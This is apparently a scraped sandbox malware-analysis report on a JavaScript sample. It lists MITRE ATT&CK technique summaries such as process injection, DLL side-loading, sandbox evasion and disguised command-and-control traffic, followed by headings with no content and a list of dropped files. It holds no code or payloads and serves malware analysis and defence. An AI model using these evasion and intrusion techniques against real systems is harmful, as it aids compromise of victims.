Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 28098292552574015467.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6ca1a7d5-4bef-43ef-9b51-aa4d9dc15448.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6368

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
28098292552574015467.js